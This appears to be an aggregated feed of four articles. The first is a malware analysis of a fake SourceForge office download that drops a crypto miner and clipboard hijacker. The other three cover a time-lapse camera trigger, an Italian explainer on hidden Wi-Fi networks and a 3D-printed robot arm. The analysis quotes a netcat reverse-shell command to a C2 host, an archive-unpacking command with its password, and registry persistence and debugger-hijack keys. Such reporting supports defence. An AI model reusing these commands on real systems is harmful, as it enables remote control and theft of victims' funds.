Recently, we noticed a rather unique scheme for distributing malware that exploits SourceForge, a popular website providing software hosting, comparison, and distribution services. The site hosts numerous software projects, and anyone can upload theirs. One such project, officepackage, on the main website sourceforge.net, appears harmless enough, containing Microsoft Office add-ins copied from a legitimate GitHub project. The description and contents of officepackage provided below were also taken from GitHub.

Description of the “officepackage” project

Few know that projects created on sourceforge.net get a sourceforge.io domain name and web hosting services. Pages like that are well-indexed by search engines and appear in their search results.

Example of a search query and results containing officepackage.sourceforge.io

The project under investigation has been assigned the domain officepackage.sourceforge[.]io, but the page displayed when you go to that domain looks nothing like officepackage on sourceforge.net. Instead of the description copied from GitHub, the visitor is presented with an imposing list of office applications complete with version numbers and “Download” buttons.

The project as seen on the officepackage.sourcefoge.io domain

Hovering over one of the buttons reveals a seemingly legit URL in the browser status bar: https[:]//loading.sourceforge[.]io/download. It is easy to make the mistake of associating that URL with officepackage, as the buttons are on that project’s page. However, the loading.sourceforge.io domain suggests a different project on sourceforge.net, named loading.

URL associated with the “Download” button

Clicking the link redirects to a page with yet another “Download” button, this time in English.

Page for downloading the suspicious archive

Clicking that button finally downloads a roughly seven-megabyte archive named vinstaller.zip. This raises some red flags, as office applications are never that small, even when compressed.

The infection chain: from searching for office software to downloading an installer

The downloaded archive contains another password-protected archive, installer.zip, and a Readme.txt file with the password.

Contents of vinstaller.zip

Inside installer.zip is a file named installer.msi. This is a Windows Installer file that exceeds 700 megabytes. Apparently, the large size is intended to convince users they are looking at a genuine software installer. Attackers use the file pumping technique to inflate the file size by appending junk data. The file in question was padded with null bytes. After we stripped the junk bytes, its true size was 7 megabytes.

Contents of installer.zip

Running the installer creates several files, with two being of interest to us: UnRAR.exe (a console archive utility) and a password-protected archive named 51654.rar. The installer then executes an embedded Visual Basic script. Attackers have long distributed password-protected archives along with unpacking utilities, passing the password via the command line. However, this case has an intermediary step. The installer files lack an archive password. Instead, to continue the infection chain, the VB script runs a PowerShell interpreter to download and execute a batch file, confvk, from GitHub. This file contains the password for the RAR archive. It also unpacks malicious files and runs the next-stage script.

The infection chain: from launching the installer to downloading the confvk batch script

Here is a breakdown of how the batch script works. First, it checks for an existing infection by searching for the AutoIt interpreter at a specific path. If AutoIt is found, the script deletes itself and exits. If not, the script checks for processes associated with antivirus software, security solutions, virtual environments, and research tools. If it detects anything like that, it deletes itself.

If both checks pass, the script unpacks the RAR archive and runs two PowerShell scripts within its code.
"%ProgramData%\dist\UnRAR.exe" x -y -p147852369 "%ProgramData%\dist\51654.rar" "%ProgramData%\dist\"

Command to unpack the RAR archive executed by the batch file

One of the PowerShell scripts sends a message to a certain chat using the Telegram API. The message contains system information, the infected device’s external IP address and country, CPU name, operating system, installed antivirus, username, and computer name.

Code snippet from confvk with commands to unpack the malicious archive and run the Telegram file-sending script

The other PowerShell script downloads another batch file, confvz, to process the files that were extracted from the RAR archive.

Contents of the RAR archive

The contents of the archive can be seen in the screenshot above. Below is a summary of each file.

The confvz batch file creates three subdirectories at %ProgramData% and moves the unpacked archive files into those. The first subdirectory receives Input.exe and Icon.dll, the second gets another Input.exe copy with Kape.dll, and the third gets all netcat files. The batch file then creates ini.cmd and init.cmd batch scripts at %USERPROFILE%\Cookies\ to run the files it copied. These scripts execute Input.exe (the AutoIt interpreter), passing the paths to Icon.dll and Kape.dll (both containing compressed AutoIt scripts) as arguments.

Contents of the confvz batch file

Next, confvz generates keys in the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\*. These link to the ini.cmd and init.cmd batch files. The keys allow running files using shortened names. For example, the registry key
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\install.exe"::"%USERPROFILE%\Cookies\ini.cmd
launches ini.cmd when running install.exe. Similarly, start.exe is registered as a link to init.exe, and Setup.exe links to the system utility %WINDIR%\System32\oobe\Setup.exe, normally launched during OS installation. We will revisit this utility later.

Then confvz creates services named NetworkConfiguration and PerformanceMonitor to autostart the batch files, and a service named Update to directly run the AutoIt interpreter without intermediate batch files.

Additionally, as a backup autostart method, confvz adds this registry key:
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe"::Debugger="%WINDIR%\System32\cmd.exe /c start start.exe"
This runs a debugger when MicrosoftEdgeUpdate.exe is started. The debugger is set to execute start.exe, which, based on the earlier registry keys, points to init.cmd.

Using the built-in WMIC utility, an event filter is created to trigger a handler every 80 seconds. While disabled by default in more recent Windows versions, WMIC still functions in older systems.

The handler executes the following command:
ShellExperienceHost.exe --ssl apap.app 445 -e cmd.exe
ShellExperienceHost.exe is the netcat executable from the malicious archive. The arguments above make the utility establish an encrypted connection with the C2 server apap[.]app on port 445 and launch a command-line interpreter with redirected input/output through that connection. This essentially creates a remote command line with apap[.]app:445 as the C2 server.

Finally, confvz creates a file:
%WINDIR%\Setup\Scripts\ErrorHandler.cmd
This is a custom script you can build in Windows to streamline troubleshooting during OS installation. If a critical error occurs, the %System32%\oobe\Setup.exe utility finds and executes this file. However, the attackers have found a way to exploit it for automatic startup. They achieve this by again using the operating system’s built-in WMIC utility to establish an event filter that triggers the handler every 300 seconds. The handler is specified as %WINDIR%\System32\cmd.exe /c start Setup.exe, while Setup.exe, according to the registry keys created earlier, references the utility %WINDIR%\System32\oobe\Setup.exe, which executes ErrorHandler.cmd upon launch. The ErrorHandler.cmd file contains a short PowerShell script that uses the Telegram API to retrieve and execute a text string. This is another remote command line, but its output is not sent anywhere.

The infection chain: from executing confvk to setting up all the auto-start methods

The key malicious actions in this campaign boil down to running two AutoIt scripts. Icon.dll restarts the AutoIt interpreter and injects a miner into it, while Kape.dll does the same but injects ClipBanker. ClipBanker is a malware family that replaces cryptocurrency wallet addresses in the clipboard with the attackers’ own. Users of crypto wallets typically copy addresses instead of typing them. If the device is infected with ClipBanker, the victim’s money will end up somewhere entirely unexpected.

Victims

The officepackage.sourceforge[.]io site has a Russian interface, suggesting a focus on Russian-speaking users. Our telemetry indicates that 90% of potential victims are in Russia, where 4,604 users encountered the scheme between early January and late March.

Takeaways

Distributing malware disguised as pirated software is anything but new. As users seek ways to download applications outside official sources, attackers offer their own. They keep looking for new ways to make their websites look legit. The scheme described here exploits SourceForge feature of creating a sourceforge.io subdomain for each sourceforge.net repository.

The persistence methods are worthy of note as well. Attackers secure access to an infected system through multiple methods, including unconventional ones. While the attack primarily targets cryptocurrency by deploying a miner and ClipBanker, the attackers could sell system access to more dangerous actors.

We advise users against downloading software from untrusted sources. If you are unable to obtain some software from official sources for any reason, remember that seeking alternative download options always carries higher security risks.

securelist.com/miner-clipbanke…

We know you’ve seen them: the time-lapses that show a 3D print coming together layer-by-layer without the extruder taking up half the frame. It takes a little extra work compared to just pointing a camera at the build plate, but it’s worth it to see your prints materialize like magic.

Usually these are done with a plugin for OctoPrint, but with all due respect to that phenomenal project, it’s a lot to get set up if you just want to take some pretty pictures. Which is why [Whopper Printing] put together the LayerLapse. This small PCB is designed to trigger your DSLR or mirrorless camera once its remotely-mounted hall effect sensor detects the presence of a magnet.
The remote hall effect sensor.
The idea is that you just need to stick a small magnet to your extruder, add a bit of extra G-code that will park it over the sensor at the end of each layer, and you’re good to go. There’s even a spare GPIO pin broken out should you want to trigger something else on each layer of your print. Admittedly we can’t think of anything else right now that would make sense, other than some other type of camera, but we’re sure some creative folks out there could put this feature to use.

Currently, [Whopper Printing] is selling the LayerLapse as a finished product, though it does sound like a kit version is in the works. There’s also instructions for building a DIY version of the hardware using your microcontroller of choice. Whether you buy or build the hardware, the firmware is available under the MIT license for your tinkering pleasure.

Being hardware hackers, we appreciate the stand-alone nature of this solution. But if you’re already controlling your printer through OctoPrint, you’re probably better off just setting up one of the available time-lapse plugins.

hackaday.com/2025/04/08/layerl…

La sicurezza, soprattutto quando si parla di reti WiFi, è spesso oggetto di fraintendimenti e luoghi comuni. In questa serie di articoli della nostra Rubrica WiFI, vogliamo sfatare alcuni dei falsi miti più diffusi. Offrendo spiegazioni chiare, dati concreti e consigli pratici. L’obiettivo è aiutarti a muoverti con maggiore consapevolezza nel mondo delle connessioni senza fili

In ogni articolo affronteremo un mito, ne analizzeremo le origini, presenteremo evidenze tecniche e concluderemo con le nostre considerazioni e suggerimenti.

Cominciamo da uno dei più comuni: nascondere il nome della rete (SSID) è davvero un modo efficace per aumentare la sicurezza?

Come Funziona:

Nascondere la rete WiFi significa semplicemente disabilitare la trasmissione del SSID (Service Set Identifier) nei beacon frame. Ovvero disabilitare i segnali periodici inviati dall’access point per annunciare la presenza della rete WiFi ai dispositivi vicini.

In pratica, il nome della rete non compare più nella lista delle reti disponibili. Tuttavia, questa misura può essere considerata “puramente cosmetica” e non offre alcuna reale protezione, anzi può diventare un punto debole.

Vediamo cosa succede nel dettaglio:

1. L’access point smette di annunciare attivamente la rete:
   Disabilitando il broadcast del SSID, l’AP continua a inviare i beacon frame¹, ma il campo SSID viene lasciato vuoto o impostato come “null”. Questo fa sì che il nome della rete sembri nascosto.
2. I client devono inviare richieste attive per trovare la rete:
   I client configurati per connettersi a una rete nascosta non possono più scoprirla passivamente. Devono quindi inviare probe request² attive per cercare quella rete specifica, includendo nel pacchetto proprio l’SSID.
3. L’SSID è incluso in chiaro nelle probe request:
   Anche se l’AP non annuncia più la rete, i dispositivi client rivelano comunque l’SSID ogni volta che tentano di connettersi. Queste richieste contengono il nome della rete in chiaro e possono essere facilmente intercettate.
4. Processo di connessione e relative informazioni transitano in chiaro:
   Le probe request e le relative risposte non sono cifrate. Questo significa che chiunque stia ascoltando il traffico WiFi – con strumenti liberamente disponibili e di facile utilizzo – può rilevare il nome della rete nascosta in pochi secondi.

Evidenza

youtube.com/embed/dy6nrzO807g?…

⚠️ Questo video è a scopo educativo! Non utilizzarlo per attività illegali o senza autorizzazione.⚠️

In questo video realizzato da Matteo Brandi vogliamo dare un evidenza pratica su:

✅ Come funzionano le reti WiFi nascoste

✅ Quali strumenti usare per rilevare un SSID nascosto

✅ Come scoprire il nome della rete in modo semplice e pratico

Conclusione

Come mostrato nel video qui sopra, nascondere il nome della rete (SSID) non offre alcun reale vantaggio in termini di sicurezza. Anzi:

• Gli hacker possono intercettare il nome della rete in pochi minuti, rendendo questa “protezione” del tutto illusoria.
• Una rete nascosta può addirittura attirare più attenzione, perché una configurazione non standard può essere vista come un obiettivo potenzialmente interessante da esplorare.
• Nascondere l’SSID non è una misura di sicurezza efficace: il nome della rete può essere facilmente rilevato anche con strumenti di base, rendendo questa pratica inutile contro qualsiasi attacco, anche non sofisticato.

Nei prossimi articoli affronteremo altri falsi miti, come:

• “Se non faccio pagamenti o login, sono al sicuro”
• “Non corro rischi se mi connetto solo a siti HTTPS”
• “Se uso una VPN, sono completamente al sicuro”
• “Il WiFi aperto è solo per i guest, quindi non ci sono rischi per l’azienda”

Continua a seguirci la nostra Rubrica WiFI per navigare informato, protetto e consapevole.

1. Beacon Frame
   Un beacon frame è un tipo di frame di gestione utilizzato nelle reti WLAN basate sullo standard IEEE 802.11. Contiene informazioni fondamentali sulla rete e viene trasmesso periodicamente per:
   – Annunciare la presenza di una rete wireless (WLAN);
   – Fornire un segnale di sincronizzazione ai dispositivi connessi, aiutandoli a mantenere la comunicazione allineata.
   Come Spiegato nell’articolo “Dentro le reti wireless-ieee-802-11: Architettura e Segnale WiFi”
   Nelle reti con infrastruttura (in modalità Infrastructure Basic Service Set, BSS), i beacon frame vengono inviati dall’access point (AP).
   Nelle reti ad hoc (o Independent BSS, IBSS), invece, la generazione dei beacon è distribuita tra i vari dispositivi partecipanti.
   NB: Dobbiamo sempre tenere presente gli effetti sull’ambiente radio. Nel caso della banda a 2,4 GHz, se si configurano più di 15 SSID su canali non sovrapposti (o più di 45 SSID in totale), i beacon frame iniziano a occupare una quantità significativa di tempo trasmissivo (air time).
   Questo fenomeno può degradare sensibilmente le prestazioni della rete, anche se la maggior parte delle reti è inattiva, poiché i beacon continuano comunque a essere trasmessi periodicamente. ↩︎
2. Probe Request: Una probe request è un messaggio inviato da un dispositivo client (come uno smartphone o un laptop) per cercare reti WiFi disponibili. Quando un dispositivo tenta di connettersi a una rete WiFi nascosta o salvata, invia probe request specifiche contenenti l’SSID della rete che sta cercando. Questi messaggi non sono cifrati, quindi possono essere intercettati facilmente da chiunque stia monitorando il traffico di rete. ↩︎

L'articolo Proteggere il WiFi nascondendo il nome? Si tratta di una falsa sicurezza proviene da il blog della sicurezza informatica.

[JesseDarr] recently wrote in to tell us about their dynamic Arm for Robitc Mischief (dARM), a mostly 3D printed six degrees of freedom (6DOF) robotic arm that’s designed to be stronger and more capable than what we’ve seen so far from the DIY community.

The secret? Rather than using servos, dARM uses brushless DC (BLDC) motors paired with ODrive S1 controllers. He credits [James Bruton] and [Skyentific] (two names which regular Hackaday readers are likely familiar with) for introducing him to not only the ODrive controllers, but the robotics applications for BLDCs in the first place.

dARM uses eight ODrive controllers on a CAN bus, which ultimately connect up to a Raspberry Pi 4B with a RS485 CAN Hat. The controllers are connected to each other in a daisy chain using basic twisted pair wire, which simplifies the construction and maintenance of the modular arm.

As for the motors themselves, the arm uses three different types depending on where they are located, with three Eaglepower 8308 units for primary actuators, a pair of GB36-2 motors in the forearm, and finally a GM5208-24 for the gripper. Together, [JesseDarr] says the motors and gearboxes are strong enough to lift a 5 pound (2.2 kilogram) payload when extended in a horizontal position.

The project’s documentation includes assembly instructions for the printed parts, a complete Bill of Materials, and guidance on how to get the software environment setup on the Raspberry Pi. It’s not exactly a step-by-step manual, but it looks like there’s more than enough information here for anyone who’s serious about building a dARM for themselves.

If you’d like to start off by putting together something a bit easier, we’ve seen considerably less intimidating robotic arms that you might be interested in.

youtube.com/embed/Pv4tDsQZbRw?…

hackaday.com/2025/04/08/printe…